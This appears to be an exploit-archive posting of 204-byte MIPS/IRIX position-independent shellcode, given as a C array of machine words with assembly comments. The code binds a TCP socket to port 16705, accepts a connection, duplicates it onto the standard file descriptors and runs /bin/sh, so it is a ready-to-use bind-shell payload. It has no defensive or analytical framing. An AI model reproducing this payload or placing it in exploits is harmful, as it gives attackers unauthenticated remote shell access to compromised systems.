204 byte MIPS/IRIX PIC shellcode that binds /bin/sh to port 16705 TCP.
479827468c5e228e46d4aa888071676392b5c4dc1707661bd875f603c64b1da9
/** 204 byte portbinding PIC MIPS/IRIX shellcode **/
/** **/
unsigned int bindshell[] = {
0x241607d0, // li s6, 0x07d0
0x22c4f832, // addi a0,s6,-0x1998 af_inet = 2
0x22c5f832, // addi a1,s6,-0x1998 sock_stream = 2
0x22c6f838, // a2,s6,-0x1992 tcp = 6
0x24020453, // li v0,0x0453
0x0101010c, // syscall
0x3044ffff, // andi a0, v0, 0xffff
/* build struct sockaddr_in
* 0x0002port 0x00000000 0x00000000 0x00000000
*/
0x22caf832, // addi t2,s6,-0x1998
0xa7eafff0, // sh t2, -16(sp)
0x240a4141, // li t2, 0x4141 /* t2 = port number */
0xa7eafff2, // sh t2, -14(sp)
0xab1ffff4, // sw zero, -12(sp)
0xab1ffff8, // sw zero, -8(sp)
0x1abffffc, // sw zero, -4(sp)
0x22a6f840, // addi a2,s6,-0x07c0
0x03e62817, // subu a1, sp, a2 /* a1 = (struct sockaddr *) */
0x24020442, // li v0, SYS_bind
0x0101010c, // syscall
0x22a5f840, // addi a1,s6,-0x07c0
0x24020448, // li v0, SYS_listen
0x0101010c, // syscall
0xafe6ffec, // sw a2, -20(sp)
0x23ebffec, // addi a2, sp, -20 /* a2 = &socklen */
0x24020441, // li v0, SYS_accept
0x0101010c, // syscall
0x22d3bce2, // addi s3, s6, -0x431e /* s3 = 0x3032 (0x3030 = dummy, 0x0002
= STDERR_FILENO) */
0x3057ffff, // andi s7, v0, 0xffff
0x240effff, // li t8, -1
0x05d0ffff, // boom: bltzal t8, boom
0x280effff, // slti t8, zero, -1 /* t8 = 0 (see below) */
0x32640103, // andi a0, s3, 0x0103 /* a0 = STD*_FILENO */
0x240203ee, // li v0, SYS_close
0x0101010c, // syscall
0x32e4ffff, // andi a0, s7, 0xffff /* a0 = socket */
0x2805ffff, // slti a1, zero, -1 /* a1 = 0 */
0x32660103, // andi a2, s3, 0x0103 /* a2 = STD*_FILENO */
0x24020426, // li v0, SYS_fcntl /* 0x0426 */
0x0101010c, // syscall
0x2013efef, // addi s3, -0x1011
0x0661ffde, // bgez s3, -34(offset to boom:)
0x1abffffc, // sw zero, -4(sp)
/* a2 (envp) is already zero due to the dup_loop
*/
0x040affff, // noot: bltzal zero, noot
0x23e5fff8, // addi a1, sp, -8
/* ra contains the proper address now */
0x23ff0120, // addi ra, ra, 0x0120 /* add 32 + 0x0100 */
0x23e4fef8, // addi a0, ra, -(8 + 0x100)
0xc01ffeff, // zero, -(1 + 0x100)(ra) /* store NUL */
0xafa4fff8, // sw a0, -8(sp)
0x24020423, // li v0, SYS_execve
0x0101010c, // syscall
0x2f62696e, // .ascii "/bin"
0x2f736841 // .ascii "/sh", .byte 0x41 (dummy)
};